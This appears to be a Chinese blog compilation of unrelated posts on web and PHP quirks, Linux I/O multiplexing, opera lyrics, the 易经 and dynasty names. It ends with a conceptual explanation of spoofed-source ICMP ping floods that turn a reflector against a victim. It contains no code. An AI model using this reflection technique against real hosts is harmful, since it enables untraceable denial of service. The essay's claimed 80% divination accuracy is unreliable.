form 表单默认提交按钮

根据xhtml的规范,表单里第一个button的类型默认是submit的,所以即使不写type="submit" 第一个button也是可以作为submit使用的,但是IE没有按照规范来实现,所以如果不希望第一个button作为提交按钮的话,IE中直接不指定button的type就没有问题,但是Firefox中就不行,下面两个表单在Firefox中的表现是不一样的,但是在IE中表现是一样的,不信分别使用IE和Firefox试试。

下面两个表单的代码如下:

<form action="javascript:alert('submit form');">
    <
input type="text" />
    <
button onclick="alert('actived button');">submit</button>
</
form>
<
form action="javascript:alert('submit form');">
    <
input type="text" />
    <
button type="buttononclick="alert('actived button');">submit</button>
</
form>

        
        

张新芳《祭塔》

视频地址: http://www.56.com/u91/v_NDUyMzgxNTI.html
戏词:
娘的儿休提起当年以往
提起来当年事叫娘悲伤
娘本是一条白蛇深山修养
数千年才修成二八女娇娘
那一日在洞中我精神不爽
一心心出洞去游玩时光
行走在黑风山上一阵风声响
偶遇了小青儿拦挡为娘
娘这里好言好语对她言讲
她那里恶言恶语将娘来伤
俺们二人杀有得三十余仗
也不分谁输谁赢并谁刚强
娘举起捆仙绳将她锁绑
捆三捆放三放我没把她的命伤
小青儿见为娘恩深义广
她情愿做个奴婢前前后后左左右右
铺床叠被端茶捧水侍奉为娘
娘带着小青儿到西湖玩赏
偶遇了儿的父姓许名仙字汉文同船过江
船行在江心内冷雨往下降
眼看看大雨淋湿娘的衣裳
儿的父在船仓把好心献上
他才将一把雨伞赠于为娘
次一日儿父讨伞灵王府上
小青儿做个媒红配对成双
皆只为儿父家贫日无度养
为娘我盗官宝才惹下祸殃
县官长把儿父带奔到公堂上
问一个犯法死罪绑到法场
为娘我灵王府心血潮涨
屈指算就知儿父遭了冤枉
急慌忙驾祥云公堂以上
只闹得天昏地暗天昏地暗
地暗天昏日月未有光
县官长在公堂仔细思想
他就知儿的父有了冤枉
二一次把儿父带奔到公堂上
问一个死罪饶活难免
充军发配发配充军去到镇江
为娘我带青儿镇江赶上
十字口开药店名叫个明伦堂
在那里生意茂盛财源聚广
皆只为五月五日庆贺端阳
儿的父在大街药酒灌上
叫为娘我陪他同饮酒浆
为娘我听一言胆颤觉丧
千年蛇最怕的是药酒雄黄
为娘我就推说精神不爽
怀揣着十个月我一点也不敢尝
儿的父他只知一阵疯狂
头顶着那杯酒扎跪在地当央
在小房难也难坏我逼也逼煞娘
就知道用下腹去要遭祸殃
为娘我把药酒用到腹上
好一似千把钢刀刺娘胸膛
我随时离了位躺在牙床上
不小心露出来当年一日一日当年那个形状
儿的父见娘醉难过心上
捧香茶掀罗帏吓死在地当央
为娘我酒醒来抬头观望
见儿父躺地下半阴不阳
急慌忙将儿父搂抱怀上
连唤他数十声不应一腔
无奈何盗灵芝灵鹫山上
偶遇了白鹤童子拦挡为娘
我手拿着斩仙剑来往军阵闯
不小心将童子的左膀来伤
众群仙他一见恶气往上
摆下了雄黄阵捉拿为娘
好一个南极仙恩深意广
他才将灵芝草赠于为娘
为娘我把灵芝带回府上
叫青儿下灶伙去煎药熬汤
不多那一时将药熬停当
真可叹儿的父牙关紧
他难送下去灵丹妙药汤
在小房难也难坏我愁也愁煞娘
无奈何我一星一点一点一星
才送下去灵丹妙药汤
费千心治好了儿父病恙
一心心还愿到金山寺上
儿的父还愿到金山寺上
老法海挡住他不叫下山冈
为娘我带青儿金山赶上
偶遇了老法海才结下冤枉
娘这里好言好语对他言讲
他那里恶言恶语将娘来伤
娘一怒搬来了水兵虾将
一心心发海水漫他山冈
眼看看水漫到金山顶上
又谁知老法海的武艺高强
老法海搬来了天兵天将
众神圣执着法宝捉拿为娘
紫金钵扎至在山门以上
只打的有为娘我披头散发
满脸血流身带重伤
眼看看有为娘阵前命丧
魁星爷捧谕旨下了天堂
他言说白蛇女命不该丧
怀揣着当朝一品一品当朝
儿啊你是个状元郎
众啊众神圣一起归上苍
有为娘逃出阵才半阴不阳
我走也难行走站也站不上
多亏了丫鬟姐姐儿的小姑娘
把为娘搀至到断桥亭上
那时节儿的父他又下山冈
灵王府被法海用火焚丧
无奈何姑母家中才把身藏
到那里才有个安乐模样
那时节小冤家你就要离娘
娘生儿我也曾受过苦况
娘生儿我也曾见过阎王
娘生儿刚刚有三天以上
老法海来化斋起下不良
紫金钵扎至为娘青丝发以上
将一座雷峰塔压住为娘
把为娘压塔下一切不讲
但愿得我的儿你子子孙
子子孙孙永在朝廊
我的儿在家把姑母奉上
报一报养育恩胜似为娘
这本是前情话对儿细讲对儿细讲
我的小娇儿啊
但不知何一日我才能出离塔房

PHP 中的数字字符串的比较

下面看一段代码:
<?php
echo "230119198107190323" == "230119198107190324";
?>

这段代码太简单了,但是或许您未必能猜出其值; 这里显然是两个字符串的比较,而且最后一位是不相同的,所以应该输出为空,而实际上输出为:1;

再看这段代码:
<?php
echo strcmp("230119198107190323", "230119198107190324");
?>

这个是字符串的比较,明显前面的小于后面的,输出为:-1; 这个没有疑问;

为什么第一段代码会显示相等呢?可能是PHP做了自动类型转换了,但是有些不太明白,都是字符串,干嘛还要转换呢?先做个测试验证一下:

看看这段代码:
<?php
echo "a230119198107190323"
== "a230119198107190324";
?>

输出结果为空,看来PHP还真是自动转换类型了。

去PHP的源码里面找找,看看怎么处理的:

1. 可能和oprator有关,进入PHP的源码目录
>find . -name ‘*operator*’
./Zend/tests/zend_operators.phpt
./Zend/zend_operators.c
./Zend/zend_operators.h

还果然有

2. 打开zend_operators.c ,查找 == ,确实有些相关的东西
找到了函数:zend_string_to_double ,真的就是通过该函数处理的吗? 用gdb验证一下吧:
将上面第一段代码保存为a.php
> gdb php
> set args a.php
> break
zend_string_to_double
> r
> Program exited normally.
难道没有执行函数
zend_string_to_double? 有可能,那么PHP的类型转换是在什么地方进行的呢?我除了知道程序必定经过main函数外,就再也不知道程序会经过哪里,但是我如果就在mian处设置断点,我就很难跟了,怎么办?
这样,我将a.php 写成
<?php
sleep
(1);
echo
"a230119198107190323" == "a230119198107190324";

?>
这次我在 sleep处设置断点就可以了,然后再往下跟就里字符串的比较很近了。事实却是如此,时间不早了;我不在具体调试了,下面直接给出比较时所在的堆栈:
(gdb) bt
#0  zendi_smart_strcmp (result=0xbfe72c7c, s1=0x97c8d0c, s2=0x97c8cec)
at /usr/home/wucheng/software/php/php-5.1.5/Zend/zend_operators.h:76
#1  0x081f29a6 in compare_function (result=0xbfe72c7c, op1=0x97c8d0c, op2=0x97c8cec)
at /usr/home/wucheng/software/php/php-5.1.5/Zend/zend_operators.c:1342
#2  0x081f3cf2 in is_equal_function (result=0xbfe72c7c, op1=0x97c8d0c, op2=0x97c8cec)
at /usr/home/wucheng/software/php/php-5.1.5/Zend/zend_operators.c:1498
#3  0x08267d19 in ZEND_IS_EQUAL_SPEC_CV_CV_HANDLER (execute_data=0xbfe72ca0)
at /usr/home/wucheng/software/php/php-5.1.5/Zend/zend_execute.c:200
#4  0x0820d0a1 in execute (op_array=0x97c9414)
at /usr/home/wucheng/software/php/php-5.1.5/Zend/zend_vm_execute.h:92
#5  0x081f59a2 in zend_execute_scripts (type=8, retval=0x0, file_count=3)
at /usr/home/wucheng/software/php/php-5.1.5/Zend/zend.c:1109
#6  0x081c1dfd in php_execute_script (primary_file=0xbfe751a0)
at /usr/home/wucheng/software/php/php-5.1.5/main/main.c:1737
#7  0x0826e629 in main (argc=2, argv=0xbfe75274)
at /usr/home/wucheng/software/php/php-5.1.5/sapi/cli/php_cli.c:1093

相关参考: http://bugs.php.net/bug.php?id=6019&edit=1

‘1’与‘l’的区别

好久没有因为‘1’ 和 ‘l’ 而烦恼了,他们很像,但是就是不相等,如果单独比较,可能会意识到这根本就不是一个字母,但是和其他数字混淆到一起就很难注意到了,尤其你的程序比较复杂的时候,你是不会怀疑到这根本就不是一个字母的。怎么检查这种错误呢?
1. 重新输入一遍,如果要比较的内容不长的话
2. 编辑器支持的话,直接转换成大写观察一下
3. 将字符串的16进制编码输出出来比较一下,至少很快知道是哪个字母的地方出错的;PHP里面使用unpack函数,命令行可以使用 od -x

何谓“易”、“经”

《易经》名字简释:
上日下月为”易“,如日月之行,”易“取”变化“之意;
“经” 乃 “方法、永恒”之意;
“易经” 取 “变化的道理” 之意;
“周易” 之 “周”,取 “圆满”之意,也可演绎为“简”, “周易” 也做 “简易”,描述”简单的变化的道理“;

     《易经》最大的神秘之处,即在于由一阴一阳的排列组合中,居然能包罗时空万象,
阐释天人义理。如果说易理就是宇宙之真理,这实在并不是过誉。
     正因为一阴一阳之组合,实系以简驭繁之原理,人们想了解其精要时,就会发现内
容艰涩难解,虽穷年累月仍不得其门而入。
     事实上,《易经》虽然人人能读,但绝非人人能懂。绝大部份的人,也只是从圣人
注易的字里行间,学得一点为人处事之道而已。
     本书所提供的,是一种经过分析后、设计给电脑程序处理的数据。根据这些数据,
建立起以待分析的模式,然后再大量收集数据,循着同样的模式,以求归纳出新的结构。
与计算机数据所不同的是,本书是给人看的,所以用文字概念而非程序语言来描述。
     《周易》是由两个部份所组成,一是《易经》本身,以六十四卦为纲,每卦六爻,
以各爻之变化为目,分别以爻辞界定之。爻辞的内容说明,即该爻变动之下发生的事件,
以及其吉凶吝咎等情况。另一部份是《易传》,计有七种,分为十篇,后人称之为<十
翼>。<十翼>只是一种解释《易经》的著作,本书不加介绍,读者有兴趣,请自行参
阅。
     一般人读易,不过为求了解卦、爻辞,以资与自己的遭遇相印证,力求趋吉避凶。
本书之目的,乃基于《易经》历经数千年,时过境迁,在理解及应用上,究竟有无改进
之道?要达到这个目的,必须要回答以下三个问题:为什么卦爻与爻辞有如是关系?其
必然性的因果是什么?是不是还有其它变化存在?
     为此,首先要彻底了解卦、爻辞,然后利用科学工具,以科学方法加以整理,做全
面的分析探讨。本书即为彻底了解卦、爻辞的第一步,如果不先了解,从何下手研究?
又能研究些什么?而了解的结果,若仅仅是自己主观的认定,而没有客观的考量,其价
值也有待质疑。在这些理由下,遂有本书之出版,以求各界有心人士之指正。
     下一步将是《易理探微》一书之发表,理论部份早已书就。有了理论,再加以实验,
由实验再求印证,以合乎科学精神。实验部份目前已经有近千件占卜实例,全系以计算
机测试,测中率约在百分之八十上下。整理后的数据,将录入《易理探微》中,由于我
们时间有限,故可能要到年底才能出版(至于占卜之程序及内容,碍于序言中之原因,
目前尚未决定是否发表)。
     综观当今世事,表面上经济繁荣、知识普及。事实上人心败坏、社会的维系功能彻
底破产。易道精妙至极,古往今来,人事之变迁无所不包,易明易晦亦在易中。读者阅
之,即为缘也,要知读易有三大优点,今略述于下:
     一、学习做人处世的道理:易为天理,然天理玄妙,常人无从认知。圣人为启众聪,
特将之演为做人处世的道理,以教化万民。实则人理、世道皆为天理之一部份,仅象征
之形式有所不同而已。惜因古圣人所用之文字,今人多不识,未经适当诠释,难以理解。
古今注《易经》者众多,本书仅参阅三本:程颐之《易程传》(泉源出版社)、朱熹之
《周易本义》及来知德之《来注易经图解》(武陵公司)。
     朱熹之《周易本义》简单明了,只说易理如何,而不说明原因,常令人觉得迂腐不
堪。程颐的《易程传》则在如何之外,尚以爻位来解释为什么,看起来好象言之成理,
但都是主观的附会,没有系统的必然性,说服力不足。《来注易经图解》则完全以象征
符号说明,穿凿附会可以说极尽能事,已经超出了义理的范畴。
     因为卦、爻辞是供卜筮时判断之用,其文字内容必得符合各种相关的情况,经常采
用了一些先民的判例,因此很难掌握。原文极为艰涩,且若干文字各家解释不一,甚至
有不加说明者。读者不宜细加追究,重要的是知其吉凶吝咎。在本书中,特以“释”总
括其概要,系参考前述三家之说明,择其可信者,力求合情合理。
     二、磨练心性观念:正因为《易经》难读,在读易之前,任谁都会再三考虑,为什
么要读易?读了有什么好处?老实说,学易不但没有好处,甚至令人鄙视名利、远离荣
华。时到今日,除了研习命相占卜之术者外,《易经》早就被打入冷宫了。
     《易经》是客观事物变易之学,懂易即表示懂得必然之理,既属必然,其间无分毫
可资增减。即令爻中有吉凶之谓,实则趋、避之间,不过存乎一心而已。今人在西式教
育下,功利至上,读书的目的,是为了就业、争取自己最大的名利。故对功成业就、志
得意满的人而言,懂易不过表示博学多闻,高人一等。只有对有心追求人生真理的人,
《易经》才是通向另一片天地的一扇门户。
     到得真正沉浸在《易经》里,日深月久,一字一爻地穷思竭虑。苟心不静,我念一
起,实难以为继。待入得门来,意又难宁,面对似是而非之理,很可能到此为止,不得
再进一步。唯有在心静意宁,人我尽泯之下,始得洞烛幽冥。
     问题在于,若不为己谋,即令道通天人,所为何来?再说,从古至今,又能有几人
达此境界?是以能不计成败得失、潜心学易者,其心性及观念,多多少少已在磨练之中。
但若为了磨练而习易,则又落入下乘了。
     三、培养抽象思维的能力:一般人对语言文字的认知,不过止于表面之字义,以之
沟通应用而已。事实上,语言文字是人类有别于万物的智能结晶,是一种符号索引系统。
宇宙万象无穷无尽,而人之认知应用能力有限。在经过不断的演进后,自然而然发展出
这种以简驭繁、相当于一种分类索引的法则。
     在此分类索引下,其水平向可称为分类定义,垂直向则为属性层次。所有水平向的
定义,在另一层次中,其定义之名称将随所属层次的特性而改变。由于此系统是从人类
的生活行为中自然发展而得,故生活经验所形成的认知,即成为水平向的第一层定义。
随着文化发展的日趋繁复,再加上实际需要,以及经验及学识过人的个人的努力,遂在
第一层定义下,更引申出垂直向的属性定义。
     因此,同样的语言文字,对不同能力与经验的个体来说,具有绝对不同的效应。教
育的意义,第一步是使受教者充分了解语言文字的分类索引功能,这是能力的培训。然
后再教以专业技术,也就是语言文字所代表的某一层次的属性认知。
     中国传统教育方式,是令学子以艰苦卓绝的心态,熟读经书,使之由习惯成自然,
得以从文字运用上领略文字所蕴藏的「智能」。所以读书人不仅深谙语言文字的威力,
且知道如何与人沟通、充分发挥自己的能力。然而物极必反,剥复相因,在饱学之余,
读书人过于轻视技能,以致在生产制造技术上,落居西方之后。
     今日之教育则又矫枉过正,专重技术知识,完全忽略了语言文字的智性。尤其是大
力推广白话文的结果,导致年轻人不识经书,仅以文字的表面应用为满足。久而久之,
劣币驱逐良币,文字深层的引申义渐失其传,舞文弄墨成为雕虫小技。这也是为什么尽
管教育普及,一般专家学者的理解、判断能力反而低落的原因。
     《易经》中之象数,正代表了垂直分类中的引申定义。在失道之时,有心人不妨按
图索骥,或能有所获(此中详细论证,请见《易理探微》)。  

中国十八个朝代名称的来历

中国历史悠久,朝代更零星纷繁。每朝的创建者要首手办的第一件事就是确立国号(朝代名称)。国号就是一个国家的称号。名不正言不顺,确立了国号就名正了,代表一个新的国朝从此诞生。同时这也是有说法的:《史记·五帝本纪》曰:“自黄帝至舜禹,皆同姓而异其国号,以章明德。”

那么国号由什么决定呢?一般来说大致有五个来由:由部族、部落联盟的名称而来,来自创建者原有卦号、爵位;源于创建者原始所或政权统治的区域;源于宗族关系;寓意吉祥。

接下来来看看中国历史上具体的国号及其由来:

1 夏:

据传禹曾受封于夏伯,因用以称其政权为“夏”。另据历史学家范文澜先生说,禹的儿子启西迁大夏(山西南部汾浍一带)后,才称“夏”。

2 商:

相传商(今河南商丘南)的始祖契曾帮助禹治水有功而受卦于商,以后就以“商”来称其部落(或部族)。汤灭夏后,就以“商”作为国名。后盘庚迁殷(今河南安阳西北)后,又以“殷”或“殷商”并称。

3 周:

周部落到古公亶父时,迁居于周原(今陕西岐山)。武王灭殷以后,就以“周”为朝代名。周前期建都于镐(今陕西西安西南),后来平王东迁洛邑(今河南洛阳),因在镐的东方,就有“西周”和“东周”的称号。

4 秦:

据《史记》记载,本为古部落,其首领非子为周孝王养马有成绩,被周孝王赐姓为“嬴”,并赐给了一小块土地(今甘肃天水县,另说是陇西谷名)。后来襄又救周有功被封为诸侯,秦始皇统一六国,始建秦国。

5 汉:

项羽封刘邦为汉王,以后刘邦击败项羽,统一中国,国号称“汉”。汉朝前期都长安,后期都洛阳,故从都城上有“西汉”和“东汉”,从时间上有“前汉”和“后汉”之分。

6 魏:

汉献帝曾封曹操为“魏公”、“魏王”爵位,曹丕代汉后便称“魏”。以皇室姓曹,历史上又称“曹魏”。

7 蜀汉:

刘备以四川为活动地区,蜀指四川,蜀汉作为汉朝的延续,以“汉”为政权名。历史上也称“蜀汉”。汉指东汉的继续。

8 吴:

孙权活动于长江下游一带,历史上曾建吴国,曹魏曾封孙权为“吴王”,故史称“孙吴”;又以地位在东,也称“东吴”。

9 晋:

司马昭逼魏帝卦他为“晋公”,灭蜀后进爵为晋王。后来他的儿子司炎继承他的爵位,逼令魏帝退位,自立为皇帝,国号“晋”。

10 隋:

隋文帝杨坚之父杨忠,曾被北周封为“随国公”。隋文帝后袭用此卦爵,称为“随朝”。他认为随有走的意思,恐不祥改为“隋”。

     11 唐:

唐高祖李渊的祖父李虎,佐周有功,被追封为“唐国公”,爵位传至李渊。太原起兵后,李渊称“唐王”,后废杨侑建唐朝。

12 辽:

辽原称“契丹”,改“辽”是因居于辽河上游之故。

13 宋:
后周恭帝继位后,命赵匡胤为归德节度史,归德军驻宋州(今河南商丘),赵匡胤为宋州节度使。故陈桥兵变后,发迹在宋州,国号曰“宋”。

14 西夏:
拓拔思恭占据夏州(今山西横山县),建国时以夏州得名,称“大夏”。因其在西方,宋人称“西夏”。

15 金:

金都城上京会宁(今黑龙江阿城南),位于按出虎水(今阿什河),相传其水产金,女真语“金”为“按出虎”。

16 元:

据《元史》记载:“元”的命名,是元世祖忽必烈定的。是取《易经》上“大哉乾元”句中的“元”,有大、首等意思。但也有人认为与蒙古人的风俗与图腾有关,有的认为与佛教有关。

17 明:

朱元璋是元末起义军之一,是继承郭子兴而发展起来的,郭子兴属于白莲教组织。白莲教宣称“黑暗即将过去,光明将要到来”,借以鼓舞人民反对黑暗的元朝统治。所以又称“光明教”。白莲教的首领韩山童称“明王”(他的儿子韩林儿称“小明王”),都体现其教义宗旨。朱元璋不仅曾经信仰白莲教,而且承认自己是白莲教起义军的一支(他曾为小明王左副元帅)。朱元璋取得政权后,国号称“明”。

18 清:

满族是女真族的一支。女真族在北宋时建立金国。明末女真势力复强,重建金国(后金)。后金为了向外扩展,割断了同明朝的臣属关系,清太宗皇太极把“女真”改为“满州”,把“金”改为“清”。在宋时女真人受制于契丹人,他代针对“辽”字在契丹语中是“铁”的意思,因此命名“金”,表示比铁更坚强有力,可以压倒“辽”。“金”改“清”的原因,史学家有不同意见,有人认为是皇太极要避免引起尖锐的矛盾。

select 、poll、epoll的区别


select()系统调用提供一个机制来实现同步多元I/O:

#include <sys/time.h>
#include <sys/types.h>
#include <unistd.h>
            
int select (int n,
fd_set *readfds,

fd_set *writefds,

fd_set *exceptfds,

struct timeval *timeout);
FD_CLR(int fd, fd_set *set);

FD_ISSET(int fd, fd_set *set);

FD_SET(int fd, fd_set *set);

FD_ZERO(fd_set *set);

调用select()将阻塞,直到指定的文件描述符准备好执行I/O,或者可选参数timeout指定的时间已经过去。
监视的文件描述符分为三类set,每一种对应等待不同的事件。readfds中列出的文件描述符被监视是否有数据可供读取(如果读取操作完成则不会阻 塞)。writefds中列出的文件描述符则被监视是否写入操作完成而不阻塞。最后,exceptfds中列出的文件描述符则被监视是否发生异常,或者无 法控制的数据是否可用(这些状态仅仅应用于套接字)。这三类set可以是NULL,这种情况下select()不监视这一类事件。
select()成功返回时,每组set都被修改以使它只包含准备好I/O的文件描述符。例如,假设有两个文件描述符,值分别是7和9,被放在 readfds中。当select()返回时,如果7仍然在set中,则这个文件描述符已经准备好被读取而不会阻塞。如果9已经不在set中,则读取它将 可能会阻塞(我说可能是因为数据可能正好在select返回后就可用,这种情况下,下一次调用select()将返回文件描述符准备好读取)。
第一个参数n,等于所有set中最大的那个文件描述符的值加1。因此,select()的调用者负责检查哪个文件描述符拥有最大值,并且把这个值加1再传递给第一个参数。
timeout参数是一个指向timeval结构体的指针,timeval定义如下:

    

        

            

        

    

#include <sys/time.h>
            struct timeval {
            long tv_sec; /* seconds */
            long tv_usec; /* 10E-6 second */
            };


如果这个参数不是NULL,则即使没有文件描述符准备好I/O,select()也会在经过tv_sec秒和tv_usec微秒后返回。当 select()返回时,timeout参数的状态在不同的系统中是未定义的,因此每次调用select()之前必须重新初始化timeout和文件描述 符set。实际上,当前版本的Linux会自动修改timeout参数,设置它的值为剩余时间。因此,如果timeout被设置为5秒,然后在文件描述符 准备好之前经过了3秒,则这一次调用select()返回时tv_sec将变为2。
如果timeout中的两个值都设置为0,则调用select()将立即返回,报告调用时所有未决的事件,但不等待任何随后的事件。
文件描述符set不会直接操作,一般使用几个助手宏来管理。这允许Unix系统以自己喜欢的方式来实现文件描述符set。但大多数系统都简单地实现set为位数组。FD_ZERO移除指定set中的所有文件描述符。每一次调用select()之前都应该先调用它。
fd_set writefds;
FD_ZERO(&writefds);

FD_SET添加一个文件描述符到指定的set中,FD_CLR则从指定的set中移除一个文件描述符:
FD_SET(fd, &writefds); /* add ‘fd’ to the set */
FD_CLR(fd, &writefds); /* oops, remove ‘fd’ from the set */

设计良好的代码应该永远不使用FD_CLR,而且实际情况中它也确实很少被使用。
FD_ISSET测试一个文件描述符是否指定set的一部分。如果文件描述符在set中则返回一个非0整数,不在则返回0。FD_ISSET在调用select()返回之后使用,测试指定的文件描述符是否准备好相关动作:
if (FD_ISSET(fd, &readfds))
/* ‘fd’ is readable without blocking! */

    因为文件描述符set是静态创建的,它们对文件描述符的最大数目强加了一个限制,能够放进set中的最大文件描述符的值由FD_SETSIZE指定。在Linux中,这个值是1024。本章后面我们还将看到这个限制的衍生物。
返回值和错误代码
select()成功时返回准备好I/O的文件描述符数目,包括所有三个set。如果提供了timeout,返回值可能是0;错误时返回-1,并且设置errno为下面几个值之一:
EBADF
给某个set提供了无效文件描述符。
EINTR
等待时捕获到信号,可以重新发起调用。
EINVAL
参数n为负数,或者指定的timeout非法。
ENOMEM
不够可用内存来完成请求。
————————————————————————————————————–

poll()系统调用是System V的多元I/O解决方案。它解决了select()的几个不足,尽管select()仍然经常使用(多数还是出于习惯,或者打着可移植的名义):

    

        

            

        

    

#include <sys/poll.h>
            int poll (struct pollfd *fds, unsigned int nfds, int timeout);


和select()不一样,poll()没有使用低效的三个基于位的文件描述符set,而是采用了一个单独的结构体pollfd数组,由fds指针指向这个组。pollfd结构体定义如下:

    

        

            

        

    

#include <sys/poll.h>
            
            struct pollfd {
            int fd; /* file descriptor */
            short events; /* requested events to watch */
            short revents; /* returned events witnessed */
            };


每一个pollfd结构体指定了一个被监视的文件描述符,可以传递多个结构体,指示poll()监视多个文件描述符。每个结构体的events域是监视该 文件描述符的事件掩码,由用户来设置这个域。revents域是文件描述符的操作结果事件掩码。内核在调用返回时设置这个域。events域中请求的任何 事件都可能在revents域中返回。合法的事件如下:
POLLIN
有数据可读。
POLLRDNORM
有普通数据可读。
POLLRDBAND
有优先数据可读。
POLLPRI
有紧迫数据可读。
POLLOUT
写数据不会导致阻塞。
POLLWRNORM
写普通数据不会导致阻塞。
POLLWRBAND
写优先数据不会导致阻塞。
POLLMSG
SIGPOLL消息可用。

此外,revents域中还可能返回下列事件:
POLLER
指定的文件描述符发生错误。
POLLHUP
指定的文件描述符挂起事件。
POLLNVAL
指定的文件描述符非法。

这些事件在events域中无意义,因为它们在合适的时候总是会从revents中返回。使用poll()和select()不一样,你不需要显式地请求异常情况报告。
POLLIN | POLLPRI等价于select()的读事件,POLLOUT | POLLWRBAND等价于select()的写事件。POLLIN等价于POLLRDNORM | POLLRDBAND,而POLLOUT则等价于POLLWRNORM。
例如,要同时监视一个文件描述符是否可读和可写,我们可以设置events为POLLIN | POLLOUT。在poll返回时,我们可以检查revents中的标志,对应于文件描述符请求的events结构体。如果POLLIN事件被设置,则文 件描述符可以被读取而不阻塞。如果POLLOUT被设置,则文件描述符可以写入而不导致阻塞。这些标志并不是互斥的:它们可能被同时设置,表示这个文件描 述符的读取和写入操作都会正常返回而不阻塞。
timeout参数指定等待的毫秒数,无论I/O是否准备好,poll都会返回。timeout指定为负数值表示无限超时;timeout为0指示 poll调用立即返回并列出准备好I/O的文件描述符,但并不等待其它的事件。这种情况下,poll()就像它的名字那样,一旦选举出来,立即返回。
返回值和错误代码
成功时,poll()返回结构体中revents域不为0的文件描述符个数;如果在超时前没有任何事件发生,poll()返回0;失败时,poll()返回-1,并设置errno为下列值之一:
EBADF
一个或多个结构体中指定的文件描述符无效。
EFAULT
fds指针指向的地址超出进程的地址空间。
EINTR
请求的事件之前产生一个信号,调用可以重新发起。
EINVAL
nfds参数超出PLIMIT_NOFILE值。
ENOMEM
可用内存不足,无法完成请求。
————————————————————————————————————–
以上内容来自《OReilly.Linux.System.Programming – Talking.Directly.to.the.Kernel.and.C.Library.2007》
————————————————————————————————————–
  

epoll的优点:
1.支持一个进程打开大数目的socket描述符(FD)
select 最不能忍受的是一个进程所打开的FD是有一定限制的,由FD_SETSIZE设置,默认值是2048。对于那些需要支持的上万连接数目的IM服务器来说显 然太少了。这时候你一是可以选择修改这个宏然后重新编译内核,不过资料也同时指出这样会带来网络效率的下降,二是可以选择多进程的解决方案(传统的 Apache方案),不过虽然linux上面创建进程的代价比较小,但仍旧是不可忽视的,加上进程间数据同步远比不上线程间同步的高效,所以也不是一种完 美的方案。不过 epoll则没有这个限制,它所支持的FD上限是最大可以打开文件的数目,这个数字一般远大于2048,举个例子,在1GB内存的机器上大约是10万左 右,具体数目可以cat /proc/sys/fs/file-max察看,一般来说这个数目和系统内存关系很大。

2.IO效率不随FD数目增加而线性下降
传统的select/poll另一个致命弱点就是当你拥有一个很大的socket集合,不过由于网络延时,任一时间只有部分的socket是"活跃"的, 但是select/poll每次调用都会线性扫描全部的集合,导致效率呈现线性下降。但是epoll不存在这个问题,它只会对"活跃"的socket进行 操作—这是因为在内核实现中epoll是根据每个fd上面的callback函数实现的。那么,只有"活跃"的socket才会主动的去调用 callback函数,其他idle状态socket则不会,在这点上,epoll实现了一个"伪"AIO,因为这时候推动力在os内核。在一些 benchmark中,如果所有的socket基本上都是活跃的—比如一个高速LAN环境,epoll并不比select/poll有什么效率,相 反,如果过多使用epoll_ctl,效率相比还有稍微的下降。但是一旦使用idle connections模拟WAN环境,epoll的效率就远在select/poll之上了。

3.使用mmap加速内核与用户空间的消息传递。
这点实际上涉及到epoll的具体实现了。无论是select,poll还是epoll都需要内核把FD消息通知给用户空间,如何避免不必要的内存拷贝就 很重要,在这点上,epoll是通过内核于用户空间mmap同一块内存实现的。而如果你想我一样从2.5内核就关注epoll的话,一定不会忘记手工 mmap这一步的。

4.内核微调
这一点其实不算epoll的优点了,而是整个linux平台的优点。也许你可以怀疑linux平台,但是你无法回避linux平台赋予你微调内核的能力。 比如,内核TCP/IP协议栈使用内存池管理sk_buff结构,那么可以在运行时期动态调整这个内存pool(skb_head_pool)的大小 — 通过echo XXXX>/proc/sys/net/core/hot_list_length完成。再比如listen函数的第2个参数(TCP完成3次握手 的数据包队列长度),也可以根据你平台内存大小动态调整。更甚至在一个数据包面数目巨大但同时每个数据包本身大小却很小的特殊系统上尝试最新的NAPI网 卡驱动架构。

相关参考:http://frenchmay.javaeye.com/blog/353105

一个“-” 与 两个“-” 的区别

首先,本文的标题 没有将 两个“-” 写成 “–” ,是因为问题就出现在 “–” 上,如果我的标题里面出现 “–” ,侧边栏里面的最新日志里面就会出现 “–” ,这样侧边栏就不能正常显示了。      

不知道从什么时候开始,我的blog在firefox下,侧边栏就显示异常了,我以为是我用的模板在Firefox下不太兼容,所以一直也没有在意,今天就想换个模板,找了半天,没找见个好一些的;突然想起张宴用的也是这个模板,何不看看他的在Firefox下是否工作正常呢?用Firefox打开张宴的blog,一点问题也没有,就怀疑是我程序的问题了,试图用firebug调试了一下,没有任何效果,后来用FireBug仔细观察了一下,发现div的结构乱了,现象可能是侧边栏里面可能某个地方的html写错了,我就试图去调试了一下;

1. 通过去掉一下栏目来检查是哪个栏目出的问题,结果发现是“链接”部分的问题
2. 通过关闭某个链接来检查是哪个链接出的问题,结果发现时vim–syntax 部分出的问题

但是vim–syntax里面也没有特殊的东西,唯一特殊的也就是“–”了,试着将“–” 修改为“-”,还果然好了,现在已经夜里2:30了,我不想深究了,反正是好了,目前先这样子吧!

问题是解决了,但是没有查出元凶,是在有些遗憾!!!

伪装IP地址的洪水Ping攻击

伪装IP地址的洪水Ping攻击
最近不少人又来号召大家一起去Ping死什么什么网站,不过从技术上来说,无论什么拒绝服务攻击方式,都需要满足一个条件:用最少的资源换取被攻击者最大的消耗。像这样大家一起去Ping不仅是奇怪的:用最大的资源换取对方最小的伤害;也是可笑的:人民战争大概属于50多年前的行为了,在互联网时代,并不是人多就能如何如何的。

  我们今天是来说Ping的,Ping是通过发送ICMP报文(类型8代码0)探寻网络主机是否存在的一个工具,很久以前,一部分操作系统(例如 win95),不能很好处理过大的Ping包,导致出现了Ping to Death的攻击方式(用大Ping包搞垮对方或者塞满网络),随着操作系统的升级,网络带宽的升级、计算机硬件的升级,目前,大Ping包基本上没有很大的攻击效果(分布式攻击除外),如果一定要使用Ping包去攻击别的主机,除非是利用TCP/IP协议的其他特性或者网络拓扑结构的缺陷放大攻击的力度(所谓正反馈)

  正常情况下,Ping的流程是这样的:

  主机A发送ICMP 8,0报文给主机B

  主机B回送ICMp 0,0报文给主机A

  因为ICMP基于无连结,所以就给了我们可乘之机,假设现在主机A伪装成主机C发送ICMP 8,0报文,结果会怎么样呢?显然,主机B会以为是主机C发送的报文而去

  回应主机C,结构如下:

   伪装为主机C 错误的回复
主机A———————>主机B——————>主机C

  这种情况下,由于主机A只需要不断发送Ping报文而不需要处理返回的EchoReply,所以攻击力度成倍的增加,同时实际上主机B和主机C都是被进攻的目标,而且不会留下自己的痕迹,是一种隐蔽的一石二鸟的攻击方法。

